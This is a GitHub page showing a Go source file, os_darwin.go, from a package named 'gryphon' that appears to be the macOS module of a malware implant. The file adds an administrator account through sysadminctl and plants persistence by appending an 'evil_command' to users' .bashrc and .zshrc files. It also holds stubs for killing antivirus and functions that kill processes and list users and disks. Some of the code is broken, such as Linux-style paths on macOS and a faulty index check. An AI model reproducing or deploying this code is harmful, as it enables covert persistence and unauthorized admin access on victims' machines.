-
Notifications
You must be signed in to change notification settings - Fork 4
/
os_darwin.go
153 lines (137 loc) · 2.65 KB
/
os_darwin.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
package gryphon
import (
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"strings"
"syscall"
)
func info() string {
user, err := cmdOut("whoami")
if err != nil {
return "N/A"
} else {
return user
}
}
func killProcByPID(pid int) error {
err := syscall.Kill(pid, 9)
return err
}
func isRoot() bool {
user, err := user.Current()
if err != nil {
panic(err)
}
if user.Username != "root" {
return false
}
return true
}
func shutdown() error {
var err error
//err := syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF)
return err
}
func pkillAv() error {
return nil
}
func users() ([]string, error) {
o, err := cmdOut("cut -d: -f1 /etc/passwd")
if err != nil {
return nil, err
}
return strings.Split(o, "\n"), nil
}
func createUser(username, password string) error {
// This is too much distro dependent. Maybe try x different commands,
// including `useradd`?
cmd := f("sysadminctl -addUser %s -password %s -admin", username, password)
_, err := cmdOut(cmd)
if err != nil {
return err
}
return nil
}
func wifiDisconnect() error {
/*
iface, _ := Iface()
cmd := f("ip link set dev %s down", iface)
_, err := cmdOut(cmd)
if err != nil {
return err
}
*/
return nil
}
func addPersistentCommand(cmd string) error {
evil_command, err := GetPath()
if err != nil {
log.Println(err)
}
evil_command += "&& disown"
ep, err := os.Open("/etc/passwd")
if err != nil {
return err
}
data, err := ioutil.ReadAll(ep)
if err != nil {
return err
}
byline := strings.Split(string(data), "\n")
for _, line := range byline {
splitted := strings.Split(line, ":")
if len(splitted) >= 6 {
switch splitted[6] {
case "/bin/bash":
cu, err := GetUser()
if err != nil {
return err
}
if splitted[0] == cu {
pwd := "/home/"
pwd = pwd + splitted[0]
pwd = pwd + "/.bashrc"
f, err := os.OpenFile(pwd, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return err
}
fmt.Fprintf(f, "%s", evil_command)
f.Close()
}
case "/bin/zsh":
cu, err := GetUser()
if err != nil {
return err
}
if splitted[0] == cu {
pwd := "/home/"
pwd = pwd + splitted[0]
pwd = pwd + "/.zshrc"
f, err := os.OpenFile(pwd, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return err
}
fmt.Fprintf(f, "%s", evil_command)
f.Close()
}
default:
continue
}
}
}
return err
}
func disks() ([]string, error) {
found_drives := []string{}
for _, drive := range "abcdefgh" {
f, err := os.Open("/dev/sd" + string(drive))
if err == nil {
found_drives = append(found_drives, "/dev/sd"+string(drive))
f.Close()
}
}
return found_drives, nil
}